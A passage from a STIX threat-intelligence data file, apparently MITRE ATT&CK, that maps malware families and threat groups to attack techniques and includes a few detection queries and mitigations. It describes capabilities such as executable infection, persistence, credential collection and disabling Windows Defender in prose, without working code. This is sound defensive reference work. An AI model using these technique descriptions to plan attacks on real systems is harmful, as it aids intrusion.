"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}], "modified": "2020-03-16T17:16:53.518Z", "description": "[MoonWind](https://attack.mitre.org/software/S0149) can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.(Citation: Palo Alto MoonWind March 2017)", "relationship_type": "uses", "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--72ff8ebb-a0fe-4ea0-9e4a-0f9aa2d48bc5", "type": "relationship", "created": "2021-02-08T21:46:51.456Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Volatile Cedar March 2015", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}, {"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}], "modified": "2021-02-10T17:55:01.910Z", "description": "(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", "target_ref": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7300af33-a55d-47a7-86a6-3b756abfc8e5", "type": "relationship", "created": "2021-03-22T02:08:48.949Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "wardle evilquest partii", "url": "https://objective-see.com/blog/blog_0x60.html", "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}, {"source_name": "reed thiefquest ransomware analysis", "url": "https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/", "description": "Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}], "modified": "2021-03-31T16:34:43.154Z", "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) searches through the <code>/Users/</code> folder looking for executable files. For each executable, [ThiefQuest](https://attack.mitre.org/software/S0595) prepends a copy of itself to the beginning of the file. When the file is executed, the [ThiefQuest](https://attack.mitre.org/software/S0595) code is executed first. [ThiefQuest](https://attack.mitre.org/software/S0595) creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior. (Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)", "relationship_type": "uses", "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--730190b3-d372-4461-9bf4-94de4c078968", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques", "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", "source_name": "jRAT Symantec Aug 2018"}, {"source_name": "Kaspersky Adwind Feb 2016", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf", "description": "Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}, {"description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door", "source_name": "Symantec Frutas Feb 2013"}], "modified": "2019-06-24T17:20:24.396Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) can download and execute files.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)(Citation: Symantec Frutas Feb 2013)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7307a870-2d74-4e46-9ba0-8fb83d598cfb", "created": "2020-12-14T17:34:58.822Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T18:02:37.587Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) injects an entire DLL into an existing, newly created, or preselected trusted process.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--730a2fb5-2f51-4db1-b4f1-2112d64df4bf", "type": "relationship", "created": "2019-02-19T17:18:41.420Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. 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Retrieved May 29, 2020."}, {"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}], "modified": "2020-06-01T16:11:40.359Z", "description": "[SDBbot](https://attack.mitre.org/software/S0461) has the ability to add a value to the Registry Run key to establish persistence if it detects it is running with regular user privilege. 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Retrieved May 17, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has created global admin accounts in the targeted organization's cloud instances to gain persistence.(Citation: MSTIC DEV-0537 Mar 2022)", "modified": "2022-06-10T17:17:53.737Z", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73499911-3b9f-443e-b522-f0d1434f2eb6", "type": "relationship", "created": "2020-05-21T14:55:00.174Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. 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(2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T15:27:20.418Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used 7-Zip to decode their [Raindrop](https://attack.mitre.org/software/S0565) malware.(Citation: Symantec RAINDROP January 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7363ed1a-6f75-4ded-9179-2fdba17f6cf1", "type": "relationship", "created": "2021-10-12T20:20:46.610Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PTSecurity Cobalt Dec 2016", "description": "Positive Technologies. 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Retrieved October 9, 2018.", "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf"}], "modified": "2021-10-18T20:41:53.013Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has obtained and used a variety of tools including [Mimikatz](https://attack.mitre.org/software/S0002), [PsExec](https://attack.mitre.org/software/S0029), [Cobalt Strike](https://attack.mitre.org/software/S0154), and [SDelete](https://attack.mitre.org/software/S0195).(Citation: PTSecurity Cobalt Dec 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73672e43-5a42-4b6a-934b-a52f57bdd7ac", "type": "relationship", "created": "2020-02-10T20:43:10.411Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-10T20:43:10.411Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--73675ce7-d059-424a-9f8f-683188b19017", "created": "2023-02-08T00:31:36.639Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. 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Retrieved July 14, 2022.", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-17T16:10:10.001Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used malware to disable Windows Defender.(Citation: Korean FSI TA505 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--736b73d4-a72b-46cc-a9f0-b102d0d0ec48", "type": "relationship", "created": "2020-09-11T15:11:28.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyberreason Anchor December 2019", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", "description": "Dahan, A. et al. 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Retrieved September 10, 2020."}], "modified": "2020-09-11T15:11:28.315Z", "description": "[Anchor](https://attack.mitre.org/software/S0504) has used HTTP and HTTPS in C2 communications.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73717937-3d8f-402d-a222-b40d15a49cea", "type": "relationship", "created": "2020-11-20T15:49:53.644Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike BloodHound April 2018", "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/", "description": "Red Team Labs. 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(2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. 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(Citation: wardle evilquest parti)", "relationship_type": "uses", "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", "target_ref": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--737af098-bd8c-4449-b93d-adaaaa55abea", "created": "2023-03-02T18:54:18.782Z", "revoked": false, "external_references": [{"source_name": "Microsoft BlackCat Jun 2022", "description": "Microsoft Defender Threat Intelligence. (2022, June 13). The many lives of BlackCat ransomware. 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(2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:08:00.669Z", "description": "[FatDuke](https://attack.mitre.org/software/S0512) can list running processes on the localhost.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--738e6cb3-3a0d-4490-a254-a7c161f92989", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Elastic - Koadiac Detection with EQL", "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T20:38:07.421Z", "description": "Monitor for processes that can be used to enumerate user accounts and groups such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\n\u00a0\nInformation may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nNote: Event IDs are for Sysmon (Event ID 1 - process creation) and Windows Security Log (Event ID 4688 - a new process has been created). \n- For Linux, auditing frameworks such as the Linux Auditing System (auditd) can be used to alert on the enumeration/reading of files that store local users, including <code>/etc/passwd</code>. \n- For MacOS, utilities that work in concert with Apple\u2019s Endpoint Security Framework such as Process Monitor can be used to track usage of commands such as <code>id</code> and <code>groups</code>.\n\nAnalytic 1 - Net Discovery Commands\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image=\"net.exe\" OR Image=\"net1.exe\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--738e9055-48af-4295-a2f5-4f7e135d1fb2", "type": "relationship", "created": "2021-10-18T22:07:00.376Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Kobalos Feb 2021", "url": "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/", "description": "M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos \u2013 A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."}], "modified": "2021-10-18T22:07:00.376Z", "description": "[Kobalos](https://attack.mitre.org/software/S0641) can remove all command history on compromised hosts.(Citation: ESET Kobalos Feb 2021)\t", "relationship_type": "uses", "source_ref": "malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9", "target_ref": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--738fbccb-ecc9-40cb-8d51-4f558e39b01f", "created": "2023-09-18T20:42:49.248Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Operation Layover September 2021", "description": "Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.", "url": "https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T22:39:04.385Z", "description": "\n[TA2541](https://attack.mitre.org/groups/G1018) has used compressed and char-encoded scripts in operations.(Citation: Cisco Operation Layover September 2021)\n", "relationship_type": "uses", "source_ref": "intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--739217f2-c273-4005-8175-1261a81a1224", "type": "relationship", "created": "2021-02-08T22:05:36.567Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike Indrik November 2018", "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}], "modified": "2021-02-08T22:05:36.567Z", "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has collected credentials from infected systems, including domain accounts.(Citation: Crowdstrike Indrik November 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--7393547f-0d33-4070-9569-733e15c72e73", "type": "relationship", "created": "2020-05-05T18:47:47.313Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.351Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a dynamic debugging feature to set the file attribute to hidden.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--7396416a-39cf-4a41-b04b-79172bd032b0", "created": "2022-09-26T22:03:02.107Z", "revoked": false, "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. 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Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.655Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used macros to execute PowerShell scripts to download malware on victim's machines.(Citation: CrowdStrike Grim Spider May 2019) It has also used PowerShell to execute commands and move laterally through a victim network.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73bcd300-467e-4473-9ba7-772ae1c58610", "type": "relationship", "created": "2021-01-14T20:19:39.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft GALLIUM December 2019", "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}], "modified": "2021-01-14T20:19:39.292Z", "description": "(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73c6ad27-074a-437d-82ec-39592b783160", "type": "relationship", "created": "2020-03-09T13:13:24.024Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653", "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", "source_name": "Microsoft Protected View"}], "modified": "2022-03-11T20:14:42.487Z", "description": "Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)", "relationship_type": "mitigates", "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", "target_ref": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--73cba115-ad81-456f-a52b-54f97f42b218", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:46:55.738Z", "description": "Monitor for telemetry that provides context of security software services being disabled or modified. In cloud environments, monitor virtual machine logs for the status of cloud security agents. Spyware and malware remain a serious problem and Microsoft developed security services, Windows Defender and Windows Firewall, to combat this threat. In the event Windows Defender or Windows Firewall is turned off, administrators should correct the issue immediately to prevent the possibility of infection or further infection and investigate to determine if caused by crash or user manipulation.\nNote: Windows Event code 7036 from the System log identifies if a service has stopped or started. This analytic looks for \u201cWindows Defender\u201d or \u201cWindows Firewall\u201d that has stopped.\n\nAnalytic 1 - User Activity from Stopping Windows Defensive Services\n\n<code>(source=\"*WinEventLog:System\" EventCode=\"7036\") ServiceName=\"*Windows Defender*\" OR ServiceName=\"*Windows Firewall*\" AND ServiceName=\"*stopped*\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73cdbba5-d2f0-49a4-84fb-b031fda36655", "type": "relationship", "created": "2020-01-10T18:01:03.848Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-10T18:01:03.848Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99", "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--73ce71e3-938e-4f5e-b588-32426e874577", "type": "relationship", "created": "2019-04-23T15:30:03.144Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "source_name": "FireEye Periscope March 2018"}], "modified": "2019-04-24T16:39:54.039Z", "description": "[China Chopper](https://attack.mitre.org/software/S0020)'s server component can spider authentication portals.(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--73d4dcf0-5c97-4b60-af21-b68182237e15", "created": "2023-01-17T21:55:00.593Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Avos Jun 2022", "description": "Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.", "url": "https://blog.talosintelligence.com/avoslocker-new-arsenal/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-14T17:06:13.409Z", "description": "During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used the SoftPerfect Network Scanner for network scanning.(Citation: Cisco Talos 